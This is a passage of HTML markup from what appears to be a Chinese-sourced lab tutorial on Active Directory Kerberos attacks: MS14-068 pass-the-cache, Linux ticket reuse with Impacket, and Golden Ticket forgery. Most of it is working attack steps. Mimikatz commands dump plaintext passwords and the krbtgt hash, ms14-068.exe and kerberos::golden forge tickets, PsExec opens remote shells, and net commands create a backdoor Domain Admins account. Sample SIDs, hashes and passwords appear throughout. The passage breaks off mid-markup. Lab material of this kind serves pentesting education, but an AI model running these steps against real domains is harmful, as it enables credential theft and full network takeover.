ticket and returns it to the client.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The client uses the new ticket returned by the TGS to send a request to the server for authorization.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="7-lab-ptc-pass-the-cache"&gt;&lt;a href="#7-lab-ptc-pass-the-cache" class="header-anchor"&gt;&lt;/a&gt;7. Lab: PTC (pass-the-cache)&#10;&lt;/h3&gt;&lt;p&gt;If we can obtain a user&amp;rsquo;s TGT and import it into memory, we can impersonate that user and gain their access privileges.&lt;/p&gt;&#10;&lt;h4 id="-ms14-068-vulnerability"&gt;&lt;a href="#-ms14-068-vulnerability" class="header-anchor"&gt;&lt;/a&gt;① MS14-068 Vulnerability&#10;&lt;/h4&gt;&lt;p&gt;MS14-068 is a Windows vulnerability in the Key Distribution Center (KDC) service. It allows an authenticated user to insert an arbitrary PAC (the structure representing all user privileges) into a Kerberos ticket (TGT). The vulnerability is located in kdcsvc.dll in the domain controller&amp;rsquo;s Key Distribution Center. A user can obtain a ticket by presenting a kerberos TGT with a modified PAC.&lt;/p&gt;&#10;&lt;p&gt;High privileges are required.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2&lt;/li&gt;&#10;&lt;li&gt;Windows Vista, Windows 7, Windows 8, and Windows 8.1&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Patch Number and Exploitation Requirements&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Patch number: KB3011780&lt;/p&gt;&#10;&lt;p&gt;Exploitation requirements:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Obtain access to a host (a domain-joined host)&lt;/li&gt;&#10;&lt;li&gt;Collect the account name, password, SID, and domain information for any user in the computer domain&lt;/li&gt;&#10;&lt;li&gt;The MS14-068 patch is not installed&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;#There is a problem with this tutorial. If you have an administrator account and password, you can probably use PTH. The defining feature of MS14-068 is that a standard domain account can escalate to domain administrator, which is why the vulnerability is so severe. Any standard domain user is enough here.&lt;/p&gt;&#10;&lt;h4 id="-information-gathering-1"&gt;&lt;a href="#-information-gathering-1" class="header-anchor"&gt;&lt;/a&gt;② Information Gathering&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Domain administrator SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /all =&amp;gt; S-1-5-21-863777703-696496247-1862912240-500&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Domain administrator plaintext password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full =&amp;gt; Admin@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Domain information, including the full domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Windows is case-insensitive, so both mao.com and MAO.COM work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-exploitation"&gt;&lt;a href="#-exploitation" class="header-anchor"&gt;&lt;/a&gt;③ Exploitation&#10;&lt;/h4&gt;&lt;h5 id="1-generate-a-domain-administrator-key"&gt;&lt;a href="#1-generate-a-domain-administrator-key" class="header-anchor"&gt;&lt;/a&gt;1. Generate a Domain Administrator Key&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use an existing script to obtain a ticket:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ms14-068.exe -u &amp;lt;USERNAME@DOMAIN_NAME&amp;gt; -s &amp;lt;SID&amp;gt; -d &amp;lt;IP_ADDRESS&amp;gt; -p &amp;lt;USER_PASSWORD&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="2-import-the-generated-ticket-into-memory"&gt;&lt;a href="#2-import-the-generated-ticket-into-memory" class="header-anchor"&gt;&lt;/a&gt;2. Import the Generated Ticket into Memory&#10;&lt;/h5&gt;&lt;p&gt;Then use Mimikatz&amp;rsquo;s &lt;code&gt;kerberos::ptc&lt;/code&gt; module to load the ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptc TGT_Administrator@MAO.COM.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-open-an-administrator-terminal-with-the-current-privileges"&gt;&lt;a href="#3-open-an-administrator-terminal-with-the-current-privileges" class="header-anchor"&gt;&lt;/a&gt;3. Open an Administrator Terminal with the Current Privileges&#10;&lt;/h5&gt;&lt;p&gt;Use Mimikatz&amp;rsquo;s &lt;code&gt;misc::cmd&lt;/code&gt; module to open a new window and verify our current privileges.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\192.168.126.10\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-use-psexecexe-to-obtain-an-interactive-shell"&gt;&lt;a href="#4-use-psexecexe-to-obtain-an-interactive-shell" class="header-anchor"&gt;&lt;/a&gt;4. Use PsExec.exe to Obtain an Interactive Shell&#10;&lt;/h5&gt;&lt;p&gt;From the administrator terminal we just created, use PsExec.exe to obtain an interactive shell and create a user belonging to the administrators group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A plaintext password can also be used with psexec.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the ticket is already imported, obtain a shell directly; this step is PTC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\192.168.126.10 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user carmi carmi@123 /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Domain Admins&amp;#34; carmi /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Domain Admins&amp;#34; /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="ptc-on-linux"&gt;&lt;a href="#ptc-on-linux" class="header-anchor"&gt;&lt;/a&gt;PTC on linux&#10;&lt;/h3&gt;&lt;ol&gt;&#10;&lt;li&gt;Find ticket cache files:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Default locations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls /tmp/krb5cc_*&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls ~/.krb5cc_*&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;Import the ticket:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the environment variable; the tool reads KRB5CCNAME, whose value is the cache path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=/tmp/krb5cc_1000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;Use the ticket:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Impacket tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -k -no-pass test.domain/administrator@dc.test.domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbexec.py -k -no-pass test.domain/administrator@dc.test.domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Main use cases:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Linux joined to a domain environment&lt;/li&gt;&#10;&lt;li&gt;Penetration testing inside a domain&lt;/li&gt;&#10;&lt;li&gt;Cross-platform attacks&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="8-lab-ptt-pass-the-ticket-golden-ticket"&gt;&lt;a href="#8-lab-ptt-pass-the-ticket-golden-ticket" class="header-anchor"&gt;&lt;/a&gt;8. Lab: PTT (pass-the-ticket) Golden Ticket&#10;&lt;/h3&gt;&lt;h4 id="-introduction-1"&gt;&lt;a href="#-introduction-1" class="header-anchor"&gt;&lt;/a&gt;① Introduction&#10;&lt;/h4&gt;&lt;p&gt;The KDC&amp;rsquo;s job is to generate a TGT for any user. That raises a question: what would let someone generate a TGT for an arbitrary user? We need to look back at the kerberos authentication process. During windows authentication, the client sends its own information to the KDC. The KDC then uses &lt;code&gt;the NTLM hash of the krbtgt user's password&lt;/code&gt; as the encryption key and generates a TGT.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;In one sentence: the TGT is generated by the KDC using the hash of the krbtgt user&amp;rsquo;s password as the key, together with the client&amp;rsquo;s own information.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;So if we obtain the hash of the krbtgt password, can we forge any TGT? Absolutely. However, because krbtgt exists only on the domain controller, using a Golden Ticket (a pass-the-ticket attack) means we must already have compromised the domain controller. A Golden Ticket can therefore be understood as a backdoor.&lt;/p&gt;&#10;&lt;p&gt;The Krbtgt user is generated automatically when the domain controller is created.&lt;/p&gt;&#10;&lt;p&gt;As long as the krbtgt user&amp;rsquo;s password is not changed, a Golden Ticket can be used to create ticket information for any user and inject it into memory.&lt;/p&gt;&#10;&lt;p&gt;Using a Golden Ticket requires communication with the domain controller.&lt;/p&gt;&#10;&lt;h4 id="-prerequisites-1"&gt;&lt;a href="#-prerequisites-1" class="header-anchor"&gt;&lt;/a&gt;② Prerequisites&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;Domain name and domain SID (with the rid removed): obtain them with &lt;code&gt;whoami /user&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Username to forge (the target): obtain it using methods such as &lt;code&gt;net user /domain&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Hash of the krbtgt user: obtain it using methods such as Mimikatz&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="-information-gathering-2"&gt;&lt;a href="#-information-gathering-2" class="header-anchor"&gt;&lt;/a&gt;③ Information Gathering&#10;&lt;/h4&gt;&lt;p&gt;Use mimkatz to obtain the krbtgt hash (only this step must be performed on the domain controller) =&amp;gt; e798fdc7ba810c372ef7bffcdc8f2d13&lt;/p&gt;&#10;&lt;p&gt;Mimkatz can be finicky, and because of issues with the software, directly pasting Mimikatz content into the command line may fail or even crash the program. We can work around that by generating a log.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;log&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:krbtgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain SID (no privileges are required to retrieve it): &lt;code&gt;whoami /user&lt;/code&gt; =&amp;gt; S-1-5-21-863777703-696496247-1862912240 (the portion after the last hyphen represents the user&amp;rsquo;s privileges, so we only need the first part)&lt;/p&gt;&#10;&lt;p&gt;Username to forge (target): &lt;code&gt;net user /domain&lt;/code&gt; =&amp;gt; Administrator&lt;/p&gt;&#10;&lt;p&gt;Domain name (full domain name): &lt;code&gt;ipconfig /all&lt;/code&gt; =&amp;gt; mao.com&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-exploitation-1"&gt;&lt;a href="#-exploitation-1" class="header-anchor"&gt;&lt;/a&gt;③ Exploitation&#10;&lt;/h4&gt;&lt;p&gt;Run these operations from an administrator window.&lt;/p&gt;&#10;&lt;h5 id="1-clear-existing-tickets"&gt;&lt;a href="#1-clear-existing-tickets" class="header-anchor"&gt;&lt;/a&gt;1. Clear Existing Tickets&#10;&lt;/h5&gt;&lt;p&gt;Existing tickets must be cleared before generating a ticket. As a result, if ticket generation fails, the host will no longer be able to access information in the domain (it effectively leaves the domain).&lt;/p&gt;&#10;&lt;p&gt;After clearing the tickets with &lt;code&gt;kerberos::purge&lt;/code&gt;, you can use kerberos::golden to generate a ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge Clear tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="2-generate-a-ticket"&gt;&lt;a href="#2-generate-a-ticket" class="header-anchor"&gt;&lt;/a&gt;2. Generate a Ticket&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::golden /user:&amp;lt;FORGED_USERNAME&amp;gt; /domain:&amp;lt;FULL_DOMAIN_NAME&amp;gt; /krbtgt:&amp;lt;KRBTGT_USER_HASH&amp;gt; /sid:&amp;lt;DOMAIN_SID&amp;gt; /ticket:&amp;lt;OUTPUT_FILENAME.kirbr&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-inject-the-ticket"&gt;&lt;a href="#3-inject-the-ticket" class="header-anchor"&gt;&lt;/a&gt;3. Inject the Ticket&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt carmi.kirbr&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-create-a-domain-controller-session"&gt;&lt;a href="#4-create-a-domain-controller-session" class="header-anchor"&gt;&lt;/a&gt;4. Create a Domain Controller Session&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span 